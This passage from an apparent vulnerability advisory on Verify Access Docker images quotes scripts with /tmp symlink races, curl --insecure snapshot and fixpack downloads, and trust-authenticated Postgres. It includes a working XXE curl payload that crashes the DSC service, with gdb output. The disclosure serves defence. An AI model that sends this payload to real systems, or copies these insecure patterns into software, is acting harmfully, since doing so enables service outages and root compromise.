 <span style="color: #666666">63</span> <span style="color: #19177C">error_file</span><span style="color: #666666">=</span>/tmp/health_check.err.<span style="color: #19177C">$$</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">194</span> <span style="color: #008000">eval</span> curl --insecure --output <span style="color: #19177C">$result_file</span> --silent --show-error <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">195</span>         -D <span style="color: #19177C">$hdr_file</span> <span style="color: #19177C">$extra_args</span> https://127.0.0.1:<span style="color: #19177C">$port</span> <span style="color: #666666">2</span>&gt; <span style="color: #19177C">$error_file</span>
</pre></div>

<p>The <code>/tmp/health_check.out.$$</code> file (<code>$$</code> corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.</p>
<p>The <code>/tmp/health_check.err.$$</code> file (<code>$$</code> corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.</p>
<p>The script trusts any insecure HTTPS server, due to the use of the <code>--insecure</code> flag in curl.</p>
<p>There are two uses of insecure files in the <code>/usr/sbin/health_check.sh</code> script allowing a local attacker with access to the verify-access instance to overwrite any file as root - it is possible to get a Local Privilege Escalation as root.</p>
<p>The filenames are predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination files will be overwritten by the <code>/usr/sbin/health_check.sh</code> script.</p>
<p><a id="lpe-script-2"></a></p>
<h2>Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)</h2>
<p>It was observed that the Docker image verify-access-sc runs regularly the script <code>/usr/sbin/health_check.sh</code>.</p>
<p>This script uses a temporary file to store errors: an attacker can exploit a race condition to overwrite any file in the filesystem using a pre-generated symbolic link.</p>
<p>Furthermore, the script uses insecure options for curl on line 73 (<code>--insecure</code>) - the SSL certificate of the remote host will not be validated:</p>
<p>Content of <code>/usr/sbin/health_check.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">62</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">63</span> <span style="color: #408080; font-style: italic"># Test access to the server as this will govern whether we are healthy or</span>
<span style="color: #666666">64</span> <span style="color: #408080; font-style: italic"># not.</span>
<span style="color: #666666">65</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">66</span> 
<span style="color: #666666">67</span> <span style="color: #19177C">error_file</span><span style="color: #666666">=</span>/tmp/health_check.err.<span style="color: #19177C">$$</span>
<span style="color: #666666">68</span> 
<span style="color: #666666">69</span> <span style="color: #008000">trap</span> <span style="color: #BA2121">&quot;rm -f </span><span style="color: #19177C">$error_file</span><span style="color: #BA2121">&quot;</span> EXIT
<span style="color: #666666">70</span> 
<span style="color: #666666">71</span> <span style="color: #19177C">ping_body</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:xsi=&quot;http://www.w3.org/2001/X    MLSchema-instance&quot;&gt;&lt;SOAP-ENV:Body&gt;&lt;ns1:ping xmlns:ns1=&quot;http://sms.am.tivoli.com&quot;&gt;&lt;ns1:something&gt;0&lt;/ns1:something&gt;&lt;/ns1:ping&gt;&lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt;&#39;</span>
<span style="color: #666666">72</span> 
<span style="color: #666666">73</span> curl -s -o /dev/null --show-error --insecure --cert <span style="color: #19177C">$cert_file</span> -X POST <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">74</span>         -H <span style="color: #BA2121">&#39;SOAPAction: &quot;ping&quot;&#39;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">75</span>         --data <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$ping_body</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">76</span>         https://127.0.0.1:<span style="color: #19177C">$port</span> <span style="color: #666666">2</span>&gt; <span style="color: #19177C">$error_file</span>
<span style="color: #666666">77</span> 
<span style="color: #666666">78</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">79</span>     <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">80</span>     <span style="color: #408080; font-style: italic"># We don&#39;t know for sure yet whether the DSC is alive or not because it</span>
<span style="color: #666666">81</span>     <span style="color: #408080; font-style: italic"># could be passive (only a single DSC is active in an environment at any</span>
<span style="color: #666666">82</span>     <span style="color: #408080; font-style: italic"># one time).  So, we also need to try a simple SSL connection before we</span>
<span style="color: #666666">83</span>     <span style="color: #408080; font-style: italic"># return that the server is actually unhealthy.  We could have simply</span>
<span style="color: #666666">84</span>     <span style="color: #408080; font-style: italic"># avoided the initial curl call, but by only performing the SSL connection</span>
<span style="color: #666666">85</span>     <span style="color: #408080; font-style: italic"># test when the DSC is passive we avoid SSL error messages being displayed</span>
<span style="color: #666666">86</span>     <span style="color: #408080; font-style: italic"># on the console.</span>
<span style="color: #666666">87</span>     <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">88</span> 
<span style="color: #666666">89</span>     openssl s_client -connect <span style="color: #666666">127</span>.0.0.1:<span style="color: #19177C">$port</span> <span style="color: #666666">2</span>&gt;&amp;<span style="color: #666666">1</span> | grep -q CONNECTED
<span style="color: #666666">90</span> 
<span style="color: #666666">91</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -eq <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">92</span>         <span style="color: #008000">exit</span> <span style="color: #666666">0</span>
<span style="color: #666666">93</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">94</span> 
<span style="color: #666666">95</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Error&gt; failed to connect to the service.&quot;</span>
<span style="color: #666666">96</span> 
<span style="color: #666666">97</span>     cat <span style="color: #19177C">$error_file</span>; rm -f <span style="color: #19177C">$cert_file</span>
</pre></div>

<p>The <code>/tmp/health_check.err.$$</code> file (<code>$$</code> corresponding to the local PID) can be a symbolic link that will be followed in the line 76. This allows an attacker to overwrite any file on the system because curl is executed as root.</p>
<p>There is a race condition in the <code>/usr/sbin/health_check.sh</code> script allowing a local attacker to overwrite any file as root on the instance - it is possible to get a Local Privilege Escalation as root.</p>
<p>The filename is predictable, allowing a local attacker to create potential destination files. The content of the destination file will be overwritten by the stderr file descriptor of the curl command.</p>
<p><a id="rce-1"></a></p>
<h2>Details - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp</h2>
<p>It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp are able to download the snapshot file over HTTPS without checking the SSL certificate of the remote server, allowing an attacker to MITM the connection and retrieve the snapshot file or to provide a malicious snapshot file to the system.</p>
<p>The <code>/usr/sbin/.bootstrap_common.sh</code> script is executed from the <code>/usr/sbin/bootstrap.sh</code> script when the instance starts:</p>
<p>Content of <code>/usr/sbin/bootstrap.sh</code> in verify-access-dsc</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">139</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">140</span> <span style="color: #408080; font-style: italic"># Wait for the snapshot file.</span>
<span style="color: #666666">141</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">142</span> 
<span style="color: #666666">143</span> wait_for_snapshot
</pre></div>

<p>In verify-access-runtime, the function <code>wait_for_snapshot()</code> is called on line 93 inside the <code>/usr/sbin/bootstrap.sh</code> script.</p>
<p>The function <code>wait_for_snapshot()</code> calls the function <code>download_from_cfgsvc()</code> (line 251):</p>
<p>Content of <code>/usr/sbin/.bootstrap_common.sh</code> in verify-access-dsc, verify-access-runtime and verify-access-wrp:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">240</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
<span style="color: #666666">241</span> <span style="color: #408080; font-style: italic"># Wait for the snapshot file.</span>
<span style="color: #666666">242</span> 
<span style="color: #666666">243</span> wait_for_snapshot<span style="color: #666666">()</span>
<span style="color: #666666">244</span> <span style="color: #666666">{</span>
<span style="color: #666666">245</span>     download_from_cfgsvc <span style="color: #666666">1</span>
<span style="color: #666666">246</span> 
<span style="color: #666666">247</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$snapshot</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">248</span>         Echo <span style="color: #666666">969</span>
<span style="color: #666666">249</span> 
<span style="color: #666666">250</span>         <span style="color: #008000; font-weight: bold">while</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$snapshot</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">251</span>             download_from_cfgsvc <span style="color: #666666">0</span>
<span style="color: #666666">252</span> 
<span style="color: #666666">253</span>             <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$snapshot</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">254</span>                 sleep <span style="color: #666666">1</span>
<span style="color: #666666">255</span>             <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">256</span>         <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">257</span> 
<span style="color: #666666">258</span>         Echo <span style="color: #666666">970</span>
<span style="color: #666666">259</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">260</span> <span style="color: #666666">}</span>
</pre></div>

<p>And the function <code>download_from_cfgsvc()</code> uses curl to download a snapshot, without checking the SSL certificate of the remote server. The <code>-k</code> option (also known as <code>--insecure</code>) disables any SSL verification (line 154):</p>
<p>Content <code>/usr/sbin/.bootstrap_common.sh</code> in verify-access-dsc, verify-access-runtime and verify-access-wrp:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">140</span> download_from_cfgsvc<span style="color: #666666">()</span>
<span style="color: #666666">141</span> <span style="color: #666666">{</span>
<span style="color: #666666">142</span>     <span style="color: #408080; font-style: italic"># No need to download the snapshot if the configuration service has not</span>
<span style="color: #666666">143</span>     <span style="color: #408080; font-style: italic"># been defined.</span>
<span style="color: #666666">144</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">145</span>         <span style="color: #008000; font-weight: bold">return</span>
<span style="color: #666666">146</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">147</span> 
<span style="color: #666666">148</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">149</span>         Echo <span style="color: #666666">960</span>
<span style="color: #666666">150</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">151</span> 
<span style="color: #666666">152</span>     <span style="color: #19177C">snapshotUri</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;`basename </span><span style="color: #19177C">$snapshot</span><span style="color: #BA2121">`?type=File&amp;client=`cat /etc/hostname`&quot;</span>
<span style="color: #666666">153</span> 
<span style="color: #666666">154</span>     curl -k -s --fail -u <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_USER_NAME</span><span style="color: #BA2121">:</span><span style="color: #19177C">$CONFIG_SERVICE_USER_PWD</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">155</span>         <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">/snapshots/</span><span style="color: #19177C">$snapshotUri</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">156</span>             -o <span style="color: #19177C">$snapshot</span>
<span style="color: #666666">157</span> 
<span style="color: #666666">158</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">159</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">160</span>             Echo <span style="color: #666666">961</span>
<span style="color: #666666">161</span>         <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">162</span> 
<span style="color: #666666">163</span>         rm -f <span style="color: #19177C">$snapshot</span>
<span style="color: #666666">164</span>     <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">165</span>         Echo <span style="color: #666666">962</span>
<span style="color: #666666">166</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">167</span> <span style="color: #666666">}</span>
</pre></div>

<p>From the curl(1) man page:</p>
<pre><code>       -k, --insecure
              (TLS) By default, every SSL connection curl makes is verified to
              be secure. This option allows curl to proceed and operate even
              for server connections otherwise considered insecure.

              The server connection is verified by making sure the server's
              certificate contains the right name and verifies successfully
              using the cert store.

              See this online resource for further details:
               https://curl.haxx.se/docs/sslcerts.html

              See also --proxy-insecure and --cacert.
</code></pre>
<p>The same issue exists with the function <code>download_fixpacks()</code> in the same shell script (line 201):</p>
<p>Content of <code>/usr/sbin/.bootstrap_common.sh</code> in verify-access-dsc, verify-access-runtime and verify-access-wrp:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">169</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
<span style="color: #666666">170</span> <span style="color: #408080; font-style: italic"># Attempt to download any requested fixpacks from the configuration service.</span>
<span style="color: #666666">171</span> 
<span style="color: #666666">172</span> download_fixpacks<span style="color: #666666">()</span>
<span style="color: #666666">173</span> <span style="color: #666666">{</span>
<span style="color: #666666">174</span>     <span style="color: #408080; font-style: italic"># No need to download the fixpacks if the configuration service has not</span>
<span style="color: #666666">175</span>     <span style="color: #408080; font-style: italic"># been defined.</span>
<span style="color: #666666">176</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">177</span>         <span style="color: #008000; font-weight: bold">return</span>
<span style="color: #666666">178</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">179</span> 
<span style="color: #666666">180</span>     <span style="color: #408080; font-style: italic"># No need to download the fixpacks if no fixpack has been specified, or</span>
<span style="color: #666666">181</span>     <span style="color: #408080; font-style: italic"># if the fixpack has been set to &#39;disabled&#39;.</span>
<span style="color: #666666">182</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">FIXPACKS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> -o <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">FIXPACKS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;disabled&quot;</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">183</span>         <span style="color: #008000; font-weight: bold">return</span>
<span style="color: #666666">184</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">185</span> 
<span style="color: #666666">186</span>     <span style="color: #408080; font-style: italic"># Set the fixpack directory, and then ensure that the fixpack directory</span>
<span style="color: #666666">187</span>     <span style="color: #408080; font-style: italic"># has been created.</span>
<span style="color: #666666">188</span>     <span style="color: #19177C">fixpack_dir</span><span style="color: #666666">=</span>/tmp/fixpacks
<span style="color: #666666">189</span> 
<span style="color: #666666">190</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -d <span style="color: #19177C">$fixpack_dir</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">191</span>         rm -rf <span style="color: #19177C">$fixpack_dir</span>/*
<span style="color: #666666">192</span>     <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">193</span>         mkdir -p <span style="color: #19177C">$fixpack_dir</span>
<span style="color: #666666">194</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">195</span> 
<span style="color: #666666">196</span>     <span style="color: #408080; font-style: italic"># If we get this far we know that one or more fixpacks have been specified.</span>
<span style="color: #666666">197</span>     <span style="color: #408080; font-style: italic"># We need to download each of these now.</span>
<span style="color: #666666">198</span>     <span style="color: #008000; font-weight: bold">for</span> fixpack in <span style="color: #19177C">$FIXPACKS</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">199</span>         <span style="color: #19177C">fixpackUri</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;</span><span style="color: #19177C">$fixpack</span><span style="color: #BA2121">?type=File&amp;client=`cat /etc/hostname`&quot;</span>
<span style="color: #666666">200</span> 
<span style="color: #666666">201</span>         curl -k -s --fail <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">202</span>             -u <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_USER_NAME</span><span style="color: #BA2121">:</span><span style="color: #19177C">$CONFIG_SERVICE_USER_PWD</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">203</span>             <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">/fixpacks/</span><span style="color: #19177C">$fixpackUri</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">204</span>             -o <span style="color: #19177C">$fixpack_dir</span>/<span style="color: #19177C">$fixpack</span>
</pre></div>

<p>The fixpacks will be then installed as root inside the image:</p>
<p>Content of <code>/usr/sbin/.bootstrap_common.sh</code> in verify-access-dsc, verify-access-runtime and verify-access-wrp:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">231</span>     <span style="color: #008000; font-weight: bold">for</span> fixpack in <span style="color: #19177C">$FIXPACKS</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">232</span>         Echo <span style="color: #666666">967</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">fixpack</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">233</span>         /usr/sbin/isva_install_fixpack -i <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">fixpack_dir</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">fixpack</span><span style="color: #BB6688; font-weight: bold">}</span> &gt;/dev/null
<span style="color: #666666">234</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">235</span>             Echo <span style="color: #666666">968</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">fixpack</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">236</span>         <span style="color: #008000; font-weight: bold">fi</span>
</pre></div>

<p>An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.</p>
<p><a id="no-auth-postgres"></a></p>
<h2>Details - Lack of authentication in Postgres inside verify-access-runtime</h2>
<p>It was observed that the Docker image verify-access-runtime configures Postgres without authentication.</p>
<p>The <code>/usr/sbin/bootstrap.sh</code> script configures and starts the postgres daemon. We can see the lack of authentication:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">135</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">136</span> <span style="color: #408080; font-style: italic"># Start the postgresql server.</span>
<span style="color: #666666">137</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">138</span> 
<span style="color: #666666">139</span> Echo <span style="color: #666666">974</span>
<span style="color: #666666">140</span> 
<span style="color: #666666">141</span> <span style="color: #19177C">db_root</span><span style="color: #666666">=</span>/var/postgresql/config
<span style="color: #666666">142</span> <span style="color: #19177C">db_data_root</span><span style="color: #666666">=</span><span style="color: #19177C">$db_root</span>/data
<span style="color: #666666">143</span> <span style="color: #19177C">db_snapshot</span><span style="color: #666666">=</span><span style="color: #19177C">$db_root</span>/snapshot.sql
<span style="color: #666666">144</span> <span style="color: #19177C">db_log_dir</span><span style="color: #666666">=</span>/var/application.logs/db/config
<span style="color: #666666">145</span> <span style="color: #19177C">db_port</span><span style="color: #666666">=5432</span>
<span style="color: #666666">146</span> <span style="color: #19177C">db_name</span><span style="color: #666666">=</span>config
<span style="color: #666666">147</span> <span style="color: #19177C">db_user</span><span style="color: #666666">=</span>www-data
<span style="color: #666666">148</span> 
<span style="color: #666666">149</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$db_snapshot</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">150</span>     Echo <span style="color: #666666">975</span>
<span style="color: #666666">151</span>     <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #666666">152</span> <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">153</span> 
<span style="color: #666666">154</span> mkdir -p <span style="color: #19177C">$db_log_dir</span>
<span style="color: #666666">155</span> 
<span style="color: #666666">156</span> rm -rf <span style="color: #19177C">$db_data_root</span>
<span style="color: #666666">157</span> 
<span style="color: #666666">158</span> initdb -D <span style="color: #19177C">$db_data_root</span> --locale<span style="color: #666666">=</span>C -U <span style="color: #19177C">$db_user</span> -A trust &gt; /dev/null
<span style="color: #666666">159</span> 
<span style="color: #666666">160</span> pg_ctl -s -D <span style="color: #19177C">$db_data_root</span> -l <span style="color: #19177C">$db_log_dir</span>/logfile start
<span style="color: #666666">161</span> 
<span style="color: #666666">162</span> createdb -U <span style="color: #19177C">$db_user</span> -p <span style="color: #19177C">$db_port</span> -w <span style="color: #19177C">$db_name</span> &gt; /dev/null
<span style="color: #666666">163</span> 
<span style="color: #666666">164</span> psql -U <span style="color: #19177C">$db_user</span> -p <span style="color: #19177C">$db_port</span> -f <span style="color: #19177C">$db_snapshot</span> -w -q <span style="color: #19177C">$db_name</span> &gt; /dev/null
<span style="color: #666666">165</span>
</pre></div>

<p>A local attacker can compromise the postgres database.</p>
<p><a id="DoS"></a></p>
<h2>Details - Null pointer dereference in dscd - Remote DoS against DSC instances</h2>
<p>It was observed that the DSC (Distributed Session Cache) servers can be remotely crashed, resulting in a DoS of the authentication infrastructure.</p>
<p>The DSC servers are reachable using the <code>/DSess/services/DSess</code> API running on port 8443/tcp.</p>
<p>Using an SSL client certificate, it is possible to reach the remote DSC instances from the same network segment:</p>
<pre><code>[user@container-01 ~]$ curl -kv https://dsc-02.test.lan:8443
* Rebuilt URL to: https://dsc-02.test.lan:8443/
*   Trying 10.0.0.16...
* TCP_NODELAY set
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS alert, handshake failure (552):
* error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
* Closing connection 0
curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
</code></pre>
<p>With a client certificate, we can reach the <code>/DSess/services/DSess</code> API:</p>
<p>Sending a normal request (ping):</p>
<pre><code>kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '&lt;?xml version="1.0" encoding="utf-8" ?&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;SOAP-ENV:Body&gt;&lt;ns1:ping xmlns:ns1="http://sms.am.tivoli.com"&gt;&lt;ns1:something&gt;0&lt;/ns1:something&gt;&lt;/ns1:ping&gt;&lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt;'
&lt;?xml version='1.0' encoding='utf-8' ?&gt;
&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;
&lt;SOAP-ENV:Body&gt;
&lt;ns1:pingResponse xmlns:ns1="http://sms.am.tivoli.com"&gt;
&lt;ns1:pingReturn&gt;952467756&lt;/ns1:pingReturn&gt;
&lt;/ns1:pingResponse&gt;
&lt;/SOAP-ENV:Body&gt;
&lt;/SOAP-ENV:Envelope&gt;
</code></pre>
<p>We can also send a specific XML External Entity (XXE) that will crash the remote DSC instance:</p>
<pre><code>kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '&lt;?xml version="1.0" encoding="utf-8" ?&gt;&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt; &lt;!ENTITY xxe SYSTEM "file:///dev/random"&gt;]&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;SOAP-ENV:Body&gt;&lt;ns1:ping xmlns:ns1="http://sms.am.tivoli.com"&gt;&lt;ns1:something&gt;&amp;xxe;&lt;/ns1:something&gt;&lt;/ns1:ping&gt;&lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt;'
curl: (52) Empty reply from server
</code></pre>
<p>When debugging this issue, it appears there is a null pointer dereference in the method <code>DSessWrapper::ping(void*) ()</code> defined in <code>/lib64/libamdsc_interface.so</code> library:</p>
<pre>
[root@container-02]# ps -auxww | grep dscd
6000     2093037  3.4  0.5 427936 40884 ?        Ssl  20:07   0:00 /opt/dsc/bin/dscd -c /var/dsc/etc/dsc.conf.1 -f -j
root     2093269  0.0  0.0  12140  1092 pts/0    S+   20:07   0:00 grep --color=auto dscd
[root@container-02]# gdb -p 2093037
[...]
(gdb) c
Continuing.
[----------------------------------registers-----------------------------------]
<font color=red>RAX: 0x0 </font>
RBX: 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48 
RCX: 0x7fec38000b60 --> 0x1000100030005 
RDX: 0x7fec38025900 --> 0x7fec38021c90 --> 0x7fec38026230 --> 0x7fec38025dc0 --> 0x0 
RSI: 0x4 
RDI: 0x0 
RBP: 0x7fec2804f7c0 --> 0x7fecb0297548 --> 0x7fecb0079560 --> 0x480021e921058b48 
RSP: 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48 
RIP: 0x7fecb007a595 --> 0x48ffffca04e8188b 
R8 : 0x7fec38000b74 --> 0x3000600060005 
R9 : 0x4 
R10: 0x2f ('/')
R11: 0x7fecaabb2674 --> 0x29058b48fb894853 
R12: 0xffffffff 
R13: 0x7feca642fca0 --> 0x7fec380312f0 ("/DSess/services/DSess")
R14: 0x7feca642fce0 --> 0x7feca642fcf0 --> 0x7f00676e6970 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
